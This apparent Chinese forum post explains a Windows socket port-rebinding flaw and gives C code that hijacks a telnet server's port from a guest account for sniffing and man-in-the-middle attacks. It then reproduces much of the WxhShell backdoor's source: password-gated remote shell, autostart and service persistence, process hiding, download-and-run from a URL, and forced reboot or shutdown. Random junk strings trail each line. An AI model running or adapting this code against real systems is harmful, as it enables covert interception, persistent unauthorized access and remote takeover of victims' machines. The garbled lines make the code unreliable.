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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Uj):}xgi'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  X0VS a{  
mdWA5p(  
  saddr.sin_family = AF_INET; V4n~Z+k  
GtVT^u_   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H#~gx_^U  
P>V oA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L"qJZU  
z uV%`n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "bm|p/A  
2'DCB{Jv  
  这意味着什么?意味着可以进行如下的攻击: )l7XZ_gw'  
;=Ma+d#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]YgR  
>fH0>W+!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "' JnFM  
/MGapmqV9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]JrD@ Vy  
~U0%}Bbh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |O{N_-];.  
&-3 e3)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eDJnzh83  
X 0G,tl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "mK`3</G  
N1a]y/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MJ|tfQwhx  
c*;oR$VW  
  #include m,k 0 h%  
  #include "do5@$p|  
  #include 3iCe5VF  
  #include    7q ?ZieR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rwRZGd *p  
  int main() ^dI;B27E*  
  { CS7b3p!I  
  WORD wVersionRequested; CO wcus  
  DWORD ret; 'J,UKK\5  
  WSADATA wsaData; 5/=$p:E>  
  BOOL val; r#sg5aS7O|  
  SOCKADDR_IN saddr; ~#r>@C  
  SOCKADDR_IN scaddr; aZN?V}^+  
  int err; k=]e7~!  
  SOCKET s; 79T_9}M  
  SOCKET sc; * Gg7(cnpw  
  int caddsize; Ew/MSl6}  
  HANDLE mt; \'m7un  
  DWORD tid;   iWs6 !s!  
  wVersionRequested = MAKEWORD( 2, 2 ); ;6G]~}>o  
  err = WSAStartup( wVersionRequested, &wsaData ); 6g| ,]{  
  if ( err != 0 ) { v$y\X3)mB  
  printf("error!WSAStartup failed!\n"); J,=K1>8s  
  return -1; hX.cdt_?  
  } uf6egm5 ]  
  saddr.sin_family = AF_INET; _3`G ZeGV  
   %;[DMc/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *k{Llq  
b)diYsTH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Kxsd@^E  
  saddr.sin_port = htons(23); MntmBj-T  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aTvyz r1  
  { oGcgd$%ZB  
  printf("error!socket failed!\n"); TO6F  
  return -1; U,W OP7z  
  } 8<VDp Y  
  val = TRUE; !db=Iz5)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @]Jq28  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JHxcHh  
  { :Awwt0  
  printf("error!setsockopt failed!\n"); )s!A\a`vEd  
  return -1; ,U{dqw8E{  
  } J67 thTGFq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F*k =JL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /TMVPnvz.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 La ?A@SD  
| .jWz.c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iJ{axa &  
  { ]Jswxw  
  ret=GetLastError(); (HAdr5  
  printf("error!bind failed!\n"); ygz2bHpD~  
  return -1; ~VsN\!G  
  } w7 MRuAJ4  
  listen(s,2); v}DNeIh~  
  while(1) vPnS`&  
  { @K"$M>n$Z  
  caddsize = sizeof(scaddr); OX;bA^+}P  
  //接受连接请求 If&))$7u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h% -=8l,  
  if(sc!=INVALID_SOCKET) @/#G2<Vp1  
  { awzlLI<2p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *d8 %FQ  
  if(mt==NULL) +3))G  
  { lMgguu~qg  
  printf("Thread Creat Failed!\n"); L'wR$  
  break; =c6d $  
  } ^tTM 7  
  } a!o%x  
  CloseHandle(mt); rCo}^M4Pb  
  } eEqcAUn  
  closesocket(s); 0*MUe1{  
  WSACleanup(); [vr"FLM|9  
  return 0;  ]! ZZRe  
  }   _N5pxe`  
  DWORD WINAPI ClientThread(LPVOID lpParam) 27Gff(  
  { =ls+vH40&  
  SOCKET ss = (SOCKET)lpParam; JrBPx/?(,;  
  SOCKET sc; Yup#aeXY/  
  unsigned char buf[4096]; |E6Thvl$  
  SOCKADDR_IN saddr; Ox)<"8M  
  long num; %s}{5Qcl/  
  DWORD val; LuRCkKJ  
  DWORD ret; X!hzpg(`hR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x1~AY/)v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IR"C?  
  saddr.sin_family = AF_INET; V dJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Ktk?(49  
  saddr.sin_port = htons(23); 'A[PUSEE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +P))*0(c_  
  { K-'uE)  
  printf("error!socket failed!\n"); 4l0>['K&{  
  return -1; W(62.3d~}?  
  } 56Lxr{+X  
  val = 100; !~zn*Hm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "C}<umJ'  
  { 92j[b_P  
  ret = GetLastError(); 2H;#L`Z*  
  return -1; Lq3<&$  
  } y_: {p5u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V'b4wO1RV  
  { ^4IJL",  
  ret = GetLastError(); ~JRq :  
  return -1; ;Q t%>Uo8  
  } @CM5e!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KEy8EB  
  { 5Y;&L!T  
  printf("error!socket connect failed!\n"); hvI#D>Z!Yp  
  closesocket(sc); 7oC8I D  
  closesocket(ss); g8/ ,E-u  
  return -1; }>iNT.Lvd  
  } 8A0a/ 7Lj  
  while(1) wtbN @g0  
  { rrC\4#H[??  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q"269W:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |zRrGQY m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BuvnY  
  num = recv(ss,buf,4096,0); kh}h(z^  
  if(num>0) fbM>jK  
  send(sc,buf,num,0); n:a~=^IV  
  else if(num==0) MHp:".1  
  break; Ho#nM_ q  
  num = recv(sc,buf,4096,0); bRggt6$z  
  if(num>0)  `\##M=  
  send(ss,buf,num,0); {*;K>%r\o  
  else if(num==0) P*[wB_^&UP  
  break; }x|q*E\  
  } 9y[U\[H  
  closesocket(ss); iYiTkq  
  closesocket(sc); &CQ28WG X  
  return 0 ; ]fDb|s48  
  } _|;d D  
;P' 5RCqj  
{.U:Ce  
========================================================== <0Y<9+g!  
K:13t|  
下边附上一个代码,,WXhSHELL `s69p'<;p  
k v_t6(qd  
========================================================== jp "Q[gR##  
M:.+^.h  
#include "stdafx.h" ga,kKPL  
x ;SY80D  
#include <stdio.h>  Mp js  
#include <string.h> 'JgCl'k,  
#include <windows.h> 'Jek< 5  
#include <winsock2.h> !5'4FUlJ  
#include <winsvc.h> e)s l  
#include <urlmon.h> cD9U ^SOS  
Ne;0fk O  
#pragma comment (lib, "Ws2_32.lib") 8_wh9   
#pragma comment (lib, "urlmon.lib") 1\{FKO t  
d %FLk=]  
#define MAX_USER   100 // 最大客户端连接数 W9} ,f  
#define BUF_SOCK   200 // sock buffer Cj}H'k<B  
#define KEY_BUFF   255 // 输入 buffer (:]+IjnE  
*" OlO}o  
#define REBOOT     0   // 重启 *N: $,xf  
#define SHUTDOWN   1   // 关机 2xUgM}e  
"3++S  
#define DEF_PORT   5000 // 监听端口 GwA\>qXw  
\HrtPm`e  
#define REG_LEN     16   // 注册表键长度 cBbumf9C  
#define SVC_LEN     80   // NT服务名长度 r# oJch=  
|Ch ,C  
// 从dll定义API o[RwK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |bQF.n_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a~R.">>$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q(Yn8t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LB({,0mcX  
.*n*eeD,  
// wxhshell配置信息 @0 x   
struct WSCFG { e?7NW  
  int ws_port;         // 监听端口 : Wtpg   
  char ws_passstr[REG_LEN]; // 口令 MGK?FJn_?  
  int ws_autoins;       // 安装标记, 1=yes 0=no %TAS4hnu%  
  char ws_regname[REG_LEN]; // 注册表键名 ;xUo(^t7>  
  char ws_svcname[REG_LEN]; // 服务名 `<P:l y.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FjizPg/|!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @@-TW`G7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]ZP!y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2( I4h[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -da: j-_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K } T=j+  
@d^DU5ats>  
}; RO3q!+a$/  
cL%"AVsj >  
// default Wxhshell configuration >hSu1s:  
struct WSCFG wscfg={DEF_PORT, Jqgm>\y  
    "xuhuanlingzhe", 0;)Q  
    1, l{]KA4  
    "Wxhshell", Yv)c\hm(7j  
    "Wxhshell", }/\`'LQ  
            "WxhShell Service", \ntUxPox.  
    "Wrsky Windows CmdShell Service", p{v*/<.;  
    "Please Input Your Password: ", Zl'/Mx g  
  1, Dk$<fMS,7c  
  "http://www.wrsky.com/wxhshell.exe", @vib54G  
  "Wxhshell.exe" ?7lW@U0  
    }; SHB'g){P  
av5a2r0W1  
// 消息定义模块 BHU$QX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /ece}7M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IG\Cj7{K^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VR1[-OE  
char *msg_ws_ext="\n\rExit."; z6;hFcO  
char *msg_ws_end="\n\rQuit."; &w`DF,k|  
char *msg_ws_boot="\n\rReboot..."; Q {~$7J  
char *msg_ws_poff="\n\rShutdown..."; $B<:SuV#  
char *msg_ws_down="\n\rSave to "; m]}U!XT  
=vQ J2Rg  
char *msg_ws_err="\n\rErr!"; j+3rS  
char *msg_ws_ok="\n\rOK!"; ?WqaT)l~  
5`:d$rv  
char ExeFile[MAX_PATH]; 0y/31hp  
int nUser = 0; g)ZMU^1  
HANDLE handles[MAX_USER]; sV5") /~  
int OsIsNt; D@.qdRc3  
@^ti*`  
SERVICE_STATUS       serviceStatus; E y9rH_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $%M]2_W(  
|v : )9  
// 函数声明 dKD:mU",M  
int Install(void); imzPVGCD{  
int Uninstall(void); u)r:0;5  
int DownloadFile(char *sURL, SOCKET wsh); SsZSR.tD  
int Boot(int flag); z$~F9Es9  
void HideProc(void); I S'Uuuz7g  
int GetOsVer(void); Ol h{<~Fv  
int Wxhshell(SOCKET wsl); '|yCDBu  
void TalkWithClient(void *cs); @OFxnF`  
int CmdShell(SOCKET sock); X6(s][Wn  
int StartFromService(void);  \G)F*  
int StartWxhshell(LPSTR lpCmdLine); 9iM%kY#)W  
h~CLJoK<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .,#H]?Wil  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j`$$BVZ  
7Nk|9t  
// 数据结构和表定义 Y6)o7t  
SERVICE_TABLE_ENTRY DispatchTable[] = bi",DKU{l  
{ P7Qel,  
{wscfg.ws_svcname, NTServiceMain}, gJ9"$fIPc  
{NULL, NULL} Y.tT#J^=  
}; zA.0Sm  
Q[q`)~|  
// 自我安装 T*=*$%  
int Install(void) U1lqg?KO  
{ h9}*_qc&kV  
  char svExeFile[MAX_PATH]; "dDrw ]P;  
  HKEY key; 9 6#]P  
  strcpy(svExeFile,ExeFile); nfGI4ZE  
dVHbIx  
// 如果是win9x系统,修改注册表设为自启动 5U+4vV/*  
if(!OsIsNt) { :{lP9%J-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +w?R4Sxjn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IPYwUix  
  RegCloseKey(key); 8 Zp^/43  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wD{c$TJ?{F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Kdp($L9r  
  RegCloseKey(key); G-RDQ  
  return 0; 3/ }  
    } Qr7v^H~E4.  
  } 0x]?rd+q8Q  
} vDi Opd  
else { <Up ?w/9  
^->S7[N?  
// 如果是NT以上系统,安装为系统服务 "&4r!2A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :E~rve'  
if (schSCManager!=0) #RU8 yT  
{ ybJwFZ80  
  SC_HANDLE schService = CreateService NT5'U  
  ( j4 #uj[A  
  schSCManager, Sx e6&  
  wscfg.ws_svcname, Qs59IZ  
  wscfg.ws_svcdisp, !d!u{1Y&  
  SERVICE_ALL_ACCESS, pPo xx"y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yzzJKucVU:  
  SERVICE_AUTO_START, YC56] Zp  
  SERVICE_ERROR_NORMAL, |rZMcl/  
  svExeFile, LfFXYX^  
  NULL, oo7}Hg>  
  NULL, /}L2LMIm  
  NULL, &TA{US3~  
  NULL, ]Zc|<f;  
  NULL S 593wfc  
  ); g; ] '  
  if (schService!=0) IVxZ.5:L$  
  { 1TGRIe)  
  CloseServiceHandle(schService); 2xX:Q'\2  
  CloseServiceHandle(schSCManager); cY_ke  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  fCJjFL:  
  strcat(svExeFile,wscfg.ws_svcname); [?KGLUmTAI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5~:/%+F0=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aVc{ aP  
  RegCloseKey(key); 3+h3?  
  return 0; SZHgXl3:  
    } }b&S3?ONt  
  } .#|?-5q/iN  
  CloseServiceHandle(schSCManager); Q!U}  
} PS[ C!s&KE  
} 8j3Y&m4^  
|llJ%JhF  
return 1; 9_O4 yTL  
} 23>[-XZb[O  
a6e{bAuq  
// 自我卸载 Q-gVg%'7  
int Uninstall(void) m Jk\$/Kh  
{ )(-;H|]?  
  HKEY key; DyGls8<\!  
-YKy"   
if(!OsIsNt) { ]FTi2B{}H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T:Klr=&V  
  RegDeleteValue(key,wscfg.ws_regname); IY#:v%U  
  RegCloseKey(key); R( FQ+h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @y`xFPB  
  RegDeleteValue(key,wscfg.ws_regname); G`>]ng  
  RegCloseKey(key); `a|&aj0  
  return 0; !.$L=>:V  
  } A&~fw^HM  
} Op ?"G  
} ^sLx3a  
else { Y6 sX|~Zy  
8iJB'#''*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x}?<9(nE c  
if (schSCManager!=0) Wx{E\ l  
{ ~:bdS 4w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RE%f'y  
  if (schService!=0) KBN% TqH|  
  { {.{Wl,|7  
  if(DeleteService(schService)!=0) { |9c~kTjK  
  CloseServiceHandle(schService); tULGfvp  
  CloseServiceHandle(schSCManager); bP 9ly9FH  
  return 0; ?[NC}LC  
  } "yaxHd  
  CloseServiceHandle(schService); SXOAa<u5  
  } *<($.c  
  CloseServiceHandle(schSCManager); ^1bslCe   
} Kx] SiejJ  
} >{IPt]PCn  
v CaN[  
return 1; UGhEaKH~R  
} [c 8=b,EI  
H,X|-B  
// 从指定url下载文件 +ZOiL[rS  
int DownloadFile(char *sURL, SOCKET wsh) uD&B{c+a  
{ =W.}&  
  HRESULT hr; qMNW w\k  
char seps[]= "/"; P)=.D u)  
char *token; #lP8/-s^  
char *file; ZLv/otf:|"  
char myURL[MAX_PATH]; vv @m{,7#Y  
char myFILE[MAX_PATH]; .="X vVdkp  
2Kz+COP+  
strcpy(myURL,sURL); xZ9:9/Vg  
  token=strtok(myURL,seps); n_e'n|T  
  while(token!=NULL) ?W'p&(;  
  { YNU}R/u6^  
    file=token; 7R2O[=Szq  
  token=strtok(NULL,seps); ,94<j,"  
  } zzQWHg]/  
Lqj Qv$  
GetCurrentDirectory(MAX_PATH,myFILE); fo@^=-4A-  
strcat(myFILE, "\\"); pD732L@q  
strcat(myFILE, file); 9RaO[j`  
  send(wsh,myFILE,strlen(myFILE),0); (G>[A}-  
send(wsh,"...",3,0); A]/o-S_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); { :tO RF  
  if(hr==S_OK) Yv;s3>r  
return 0; "n!yK  
else 37/n"\4  
return 1; `@h|+`h  
yJm"vN  
} aKbmj  
%T{]l;5  
// 系统电源模块 HB/V4ki  
int Boot(int flag) WVbrbs4  
{ fSuykbZ  
  HANDLE hToken; ' [ 4;QYw  
  TOKEN_PRIVILEGES tkp; G21o @38e  
yp.K-  
  if(OsIsNt) { `Z?wj@H1`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nz,yd%ua  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R2~Tr$:  
    tkp.PrivilegeCount = 1; iEr,ly  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; []>'Dw_r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kz"uTJK  
if(flag==REBOOT) { #&&T1;z"#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JbMTULA  
  return 0; ^/2I)y]W0  
} /8cRPB.  
else { |7s2xRc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bmfM_oz  
  return 0; V8?}I)#(7  
} K9lgDk"i  
  } 'YNaLZ20  
  else { I &t~o  
if(flag==REBOOT) { WlMcEje  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cj/`m$  
  return 0; I{`70  
} wHc my  
else { }{o !  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gb ga"WO  
  return 0; 200yN+ec  
} ~U9K<_U  
} 'ZfgCu)St  
qLN^9PdEE  
return 1; 2@&r!Q|1vR  
} |\5^ub,m  
0lfK} a  
// win9x进程隐藏模块 "F<CGSo  
void HideProc(void) BX,)G HE  
{ Aw o)a8e  
(yOkf-e2y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~C.*Vc?|  
  if ( hKernel != NULL ) 0+1wi4wy/  
  { 1uw#;3<L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E9HMhUe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); > VG  
    FreeLibrary(hKernel); H",B[ YK  
  } _'u]{X\k{J  
a|aVc'j  
return; bLgH3[{  
} /:&!o2&1H  
*Gbhk8}V'  
// 获取操作系统版本 }'X=&3m  
int GetOsVer(void) 24mdhT|  
{ H"C'<(4*\  
  OSVERSIONINFO winfo; ]n22+]D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _"DS?`z6  
  GetVersionEx(&winfo); 4`IM[DIG~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w2 )Ro:G  
  return 1; o u|emAV  
  else W? iA P  
  return 0; Ac7^JXh%  
} kX 1}/l  
IUcL*  
// 客户端句柄模块 I$n= >s  
int Wxhshell(SOCKET wsl) d"$8-_K  
{ "n-'?W!  
  SOCKET wsh; S;Bk/\2  
  struct sockaddr_in client; y}Ky<%A!P  
  DWORD myID; )s2] -n}W  
0&.CAHb}  
  while(nUser<MAX_USER) A KNx~!%2  
{ v\0G`&^1  
  int nSize=sizeof(client); v0^9 "V:y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LSo!_tY  
  if(wsh==INVALID_SOCKET) return 1; 8!g `bC#%  
S)rZE*~2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Nd_fjB  
if(handles[nUser]==0) bQAznd0  
  closesocket(wsh); f0Q6sVZHa  
else 15$xa_w}L  
  nUser++; ;|N:F G  
  } ^?69|,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )M*w\'M  
TQ Vk;&A  
  return 0; 2EY"[xK|  
} ?HZp @ &  
.=_p6_G  
// 关闭 socket eE;tiX/  
void CloseIt(SOCKET wsh) -wl j;U  
{ 0ju1>.p  
closesocket(wsh); q!c(~UVw  
nUser--; <t%gl5}|  
ExitThread(0); 7*'/E#M  
} MfTLa)Rz  
#c!:&9oU  
// 客户端请求句柄 'nJF:+30ZH  
void TalkWithClient(void *cs) *p l6 V|  
{ LzygupxY!  
r;cDYg  
  SOCKET wsh=(SOCKET)cs; WKf<% E$  
  char pwd[SVC_LEN]; k#*-<1  
  char cmd[KEY_BUFF]; `S&a.k  
char chr[1]; X@nBj;   
int i,j; mgxIxusR  
T?9D?u?]  
  while (nUser < MAX_USER) { gjF5~ `  
~Eut_d  
if(wscfg.ws_passstr) { ^S#;   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yTaMlT|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -H1=N  
  //ZeroMemory(pwd,KEY_BUFF); @WJ;T= L  
      i=0; oL4W>b )  
  while(i<SVC_LEN) { We+rFk1ddt  
fJ,N.O+9E  
  // 设置超时 8$Q`wRt(%  
  fd_set FdRead; l =^A41L_  
  struct timeval TimeOut; vccWe7rh  
  FD_ZERO(&FdRead); LyUn!zV$(  
  FD_SET(wsh,&FdRead); BEZ~<E&0H  
  TimeOut.tv_sec=8; \?bV\/GBR  
  TimeOut.tv_usec=0; D+8d^-:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w$gvgz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R^Rc!G}  
`i{d"H0E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B`tq*T%  
  pwd=chr[0]; y48]|%73  
  if(chr[0]==0xd || chr[0]==0xa) { a|ftl&uk  
  pwd=0; KaIKb=4L|  
  break; V>$( N/1  
  } "SF0b jG9C  
  i++; Y~~Dg?e  
    } 9#LMK 1ge  
,OZ  
  // 如果是非法用户,关闭 socket h\RX/C!+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D6SUzI1+H  
} |1tKQ0jg  
*[MWvs:,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rK~-Wzwu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *0WVrM06?  
0SpB 2>_  
while(1) { h!"2Ux3!x  
8K8u|]i  
  ZeroMemory(cmd,KEY_BUFF); 3 qYGEhxv  
Z[vx0[av&  
      // 自动支持客户端 telnet标准    ` Xc7b  
  j=0; D?|D)"?qb  
  while(j<KEY_BUFF) { hW7u#PY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9O[IR)O~  
  cmd[j]=chr[0]; [X(m[u'%  
  if(chr[0]==0xa || chr[0]==0xd) { jzvK;*N  
  cmd[j]=0; {sTf4S\S  
  break; n}p G&&;q  
  } NW|B|kc  
  j++; e8a^"Z`a  
    } 6(|mdk`i  
J,a&"eOZ  
  // 下载文件 j KU2  
  if(strstr(cmd,"http://")) { "tCI_ Zi;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6iFlz9XiI  
  if(DownloadFile(cmd,wsh)) }"Y<<e<z:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I#l}5e5  
  else verI~M$v{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kuY^o,u-1e  
  } YMGy-]!o  
  else { X<ex >sM  
;W|kc</R*  
    switch(cmd[0]) { UhB +c  
  ?7\V)$00(&  
  // 帮助 UG1<Xfu|  
  case '?': { ,f03TBD}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OM'iJB6=  
    break; 8jK=A2pTa  
  } glAS$<  
  // 安装 eSPS3|YYn  
  case 'i': { $KcAB0 B8  
    if(Install()) +]l?JKV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uJ`N'`Z  
    else M-WSdG[AJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ulR yt^bx|  
    break; .EYL  
    } SX3'|'-  
  // 卸载 z$^d_)  
  case 'r': { $-_" SWG.  
    if(Uninstall()) J%bNt)K}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ %-<O  
    else BRFsw`c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I=`?4%  
    break; &9jJ\+:7  
    } -:}vf?  
  // 显示 wxhshell 所在路径 VPCI5mS_  
  case 'p': { ^} j~:EZb  
    char svExeFile[MAX_PATH]; ODJ"3 J  
    strcpy(svExeFile,"\n\r"); N=mvr&arP  
      strcat(svExeFile,ExeFile); f/\!=sa:  
        send(wsh,svExeFile,strlen(svExeFile),0); iGW(2.Z  
    break; g pciv  
    } g$(Y\`zw  
  // 重启 y"?`MzcJ0  
  case 'b': { (>`_N%_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3}L3n*Ft#.  
    if(Boot(REBOOT)) j/V_h'}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a )O"PA}2  
    else { s>9I#_4]  
    closesocket(wsh); Vjs2Yenx  
    ExitThread(0); %<i sdvF  
    } b:1B >  
    break; 5nPvEN/  
    } kHg|!  
  // 关机 H4Bt.5O*  
  case 'd': { & -/J~b)"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QPy h.9:N  
    if(Boot(SHUTDOWN)) DpHubqWz  
